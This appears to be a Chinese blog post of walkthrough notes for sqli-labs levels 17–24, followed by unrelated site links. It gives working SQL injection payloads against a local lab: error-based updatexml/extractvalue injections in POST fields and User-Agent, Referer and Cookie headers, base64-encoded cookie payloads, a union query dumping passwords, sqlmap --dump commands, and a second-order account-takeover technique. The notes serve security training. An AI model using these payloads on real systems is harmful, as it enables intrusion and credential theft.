Sqlilabs通关笔记(四)
第十七关 基于POST错误的更新
注入点判断
- 在passwd直接加反斜杠有报错
uname=admin&passwd=admin&submit=Submit
- 可以在passwd参数上尝试报错注入
- 界面输入框好像是更新密码的窗口,猜测是对用户输入的密码没有进行检测过滤
源码分析
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);
function check_input($value) { if(!empty($value)) { // truncation (see comments)截断15位 $value = substr($value,0,15); }
// Stripslashes if magic quotes enabled 如果打开了魔法开关,会自动转义 if (get_magic_quotes_gpc()) { // 将反斜杠去掉 $value = stripslashes($value); }
// Quote if not a number if (!ctype_digit($value)) { // 自动转义 $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
- 查看源码可知有个过滤函数check_input,其过滤步骤是
- substr($value,0,15) 截断到15位
- 单引号、双引号、反斜杠、null自动用反斜杠转义
- stripslashes()去掉多余的反斜杠
- 源码看passwd并没有使用过滤函数过滤,因而可以进行变量可控
_POST['passwd'];
- 是通过update进行一个拼接,且会打印错误信息
UPDATE users SET password = 'passwd' where username='row1';
- 报错注入无疑了,直接上payload
uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit
SQLMAP注入
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs
- --data:指定请求信息
- -p:指定参数
- --dbms:指定后端数据库
- --threads:指定并发线程数
- --method:指定请求方式
- --flush-session:清除session
- --fresh-queries:发起新的请求
- --level 1:尝试POST和GET注入
- --risk 1:仅测试常见用例
- --technique E:仅测试报错注入方式
第十八关 基于POST错误的Uagent字段数据头注入
注入点判断
- 页面显示yourip应该是请求头的参数参入
- 同时post传入并未有该参数
- 用admin登录成功后发现有User-agents显示
- 无法使用hackbar插件提交了,需要用到burpsuit进行抓包提交
- 抓包如下
- 在user-agent头上加单引号报错,确定user-agent注入了
- 通过单引号闭合进行payload构造
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1
- 直接构造报错注入的payload
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
第十九关 基于POST错误的Referer字段数据头注入
1.同理,本关的注入点在Referer参数,payload一样只是参数位置不同
第二十关 基于POST错误的Cookie-Uagent字段数据头注入
1.同理,本关的注入点在cookie参数,payload一样只是参数位置不同
Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
第二十一关 基于base64编码单引号的Cookie注入
1.同理,本关的注入点在cookie参数,和上一关payload一样只是编码方式不同
uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d
第二十二关 基于base64编码加密的双引号Cookie注入
1.同理,本关的注入点在cookie参数,和上一关payload一样只是双引号闭合方式
uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d
SQLMAP注入
- 可以直接使用-r进行对抓取的数据包进行检测在user-agent这个需要检测的参数上加上*号
sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10
- 也可以直接通过user-agent注入,时间可能稍长一些
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E
- --level
level: 设置检测的方方面面和测试用例 - 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量
- --user-agent
指定User-Agent
- --data
指定请求的内容
- --dbms
指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.
- --fresh-queries
fresh-queries会忽略之前的查询结果,进行重新请求操作
- --flush-session
flush-session会清空当前URL相关的session
第二十三关 基于GET错误的过滤注释
注入点判断
- 老办法单引号反斜杠试了下确实报错
- 但注释过不了怀疑注释有过滤
- 查看源代码,发现将#和--替换成空了
$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."n");fclose($fp);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
- 直接上payload
http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1
第二十四关 POST二次排序注入-存储型注入
注入点判断
- 感觉界面大变样
- 登录进去又是改密码,猜测又是update语句
- 修改密码加反斜杠重新登录未见报错,查看源代码一探究竟
- 有新用户注册文件 New_user.php
- 修改密码文件 pass_change.php
- 登录文件 login.php
- 都使用了mysql_real_escape_string函数对注册的参数进行过滤
- 但在修改密码文件中却是直接调用username参数
- 猜测可以之间注册一个admin'#用户进而修改admin的密码,代码如下
if (isset($_POST['submit'])){ # Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); echo '<font size="3" color="#FFFF00">'; echo '<center>'; if($row==1) { echo "Password successfully updated"; } else { header('Location: failed.php'); //echo 'You tried to be smart, Try harder!!!! :( '; } } else { echo '<font size="5" color="#FFFF00"><center>'; echo "Make sure New Password and Retype Password fields have same value"; header('refresh:2, url=index.php'); }}
因为没有报错注入的条件,时间盲注有点漫长可以尝试脚本注册然后再注入,确实有点麻烦
但本题目的是:对于存储型的注入,可以先将导致SQL注入的字符预先存到数据库中,当再次调用到这个恶意构造的字符时就可以触发注入
- 【前端开发系列】—— 别说你不会Ajax
- 【前端开发系列】—— 通过鼠标浮动改变样式
- 【设计模式】—— 观察者模式Observer
- 【设计模式】—— 备忘录模式Memento
- 【设计模式】—— 中介者模式Mediator
- 【设计模式】—— 迭代模式Iterator
- 【设计模式】—— 解释器模式Interpret
- 【设计模式】—— 命令模式Commond
- 【设计模式】—— 职责链模式ChainOfResponsibility
- 【设计模式】—— 代理模式Proxy
- 【设计模式】—— 享元模式Flyweight
- 【设计模式】—— 外观模式Facade
- 【设计模式】—— 装饰模式Decorator
- 【设计模式】—— 组合模式Composite
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 编辑距离
- 有序矩阵中第K小的元素
- nodejs库yaml读取yml或yaml配置文件
- 爬虫小白:03.requests的使用
- Oracle GoldenGate 19 Microservices数据同步实战与故障处理
- 给“小白”漫画+图示讲解MyBatis原理,就问香不香!
- webClientTest 编写单元测试类
- 关于gorm多表联合查询(left join)的小记
- UnicodeEncodeError: 'latin-1' codec can't encode character 'u2026' in position 30: ordinal not i...
- Oracle GoldenGate 19 Microservices完整高可用安装、配置与测试
- 爬虫小白:11.scrapy框架(六) _媒体管道
- R基于TCGA数据画生存曲线
- 爬虫小白:01-认识爬虫
- 04.BeautifulSoup使用
- 04.Xpath的使用